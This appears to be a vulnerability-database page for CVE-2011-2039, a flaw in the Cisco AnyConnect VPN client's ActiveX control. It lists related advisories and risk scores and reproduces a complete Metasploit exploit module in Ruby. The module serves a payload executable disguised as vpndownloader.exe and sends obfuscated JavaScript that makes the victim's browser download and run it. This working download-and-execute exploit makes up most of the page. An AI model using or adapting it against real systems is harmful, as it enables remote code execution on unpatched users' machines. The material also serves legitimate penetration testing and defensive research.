Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute

🗓️ 06 Jun 2011 18:52:26Reported by bannedit <[email protected]>Type

Cisco AnyConnect VPN Client ActiveX URL Property Download and Execut

Reporter	Title	Published	Views	Family All 18
0day.today	Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute	7 Jun 201100:00	–	zdt
Circl	CVE-2011-2039	6 Jun 201100:00	–	circl
Tenable Nessus	Cisco AnyConnect Secure Mobility Client < 2.3.254 Multiple Vulnerabilities	3 Jun 201100:00	–	nessus
Check Point Advisories	Cisco AnyConnect VPN Client ActiveX Code Execution (CVE-2011-2039)	16 Aug 201100:00	–	checkpoint_advisories
CVE	CVE-2011-2039	2 Jun 201119:00	–	cve
Cvelist	CVE-2011-2039	2 Jun 201119:00	–	cvelist
Exploit DB	Cisco AnyConnect VPN Client - ActiveX URL Property Download and Execute (Metasploit)	6 Jun 201100:00	–	exploitdb
NVD	CVE-2011-2039	2 Jun 201119:55	–	nvd
Packet Storm	Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute	7 Jun 201100:00	–	packetstorm
Prion	Design/Logic Flaw	2 Jun 201119:55	–	prion

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',
      'Description'    => %q{
          This module exploits a vulnerability in the Cisco AnyConnect VPN client
        vpnweb.ocx ActiveX control. This control is typically used to install the
        VPN client. An attacker can set the 'url' property which is where the control
        tries to locate the files needed to install the client.

          The control tries to download two files from the site specified within the
        'url' property. One of these files it will be stored in a temporary directory and
        executed.
          },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'bannedit' ],
      'References'     =>
        [
          [ 'CVE', '2011-2039' ],
          [ 'OSVDB', '72714'],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],
          [ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic',
              {
                'Arch' => ARCH_X86
              }
          ],
        ],
      'DisclosureDate' => '2011-06-01',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
      ])
  end

  def on_request_uri(cli, request)

    if request.uri.match(/vpndownloader\.exe/)
      exe = generate_payload_exe({:code => payload.encoded})

      print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")
      send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
      select(nil, nil, nil, 5) # let the file download
      handler(cli)
      return
    end

    if request.uri.match(/updates\.txt/)
      print_status("Client requested: #{request.uri}. Sending updates.txt")
      updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))
      send_response(cli, updates, { 'Content-Type' => 'text/plain' })
      return
    end

    url = get_uri(cli)

    dir = rand_text_alpha((rand(40) + 1))
    js = ::Rex::Exploitation::JSObfu.new %Q|
    var x = document.createElement("object");
    x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
    x.url = "#{url}/#{dir}/";
|
    js.obfuscate(memory_sensitive: true)
    html = "<html>\n\t<script>#{js}\t</script>\n</html>"
    print_status("Sending #{self.name}")
    send_response_html(cli, html)
  end
end

02 Oct 2020 20:00Current

10High risk

Vulners AI Score10

CVSS 27.6

EPSS0.69959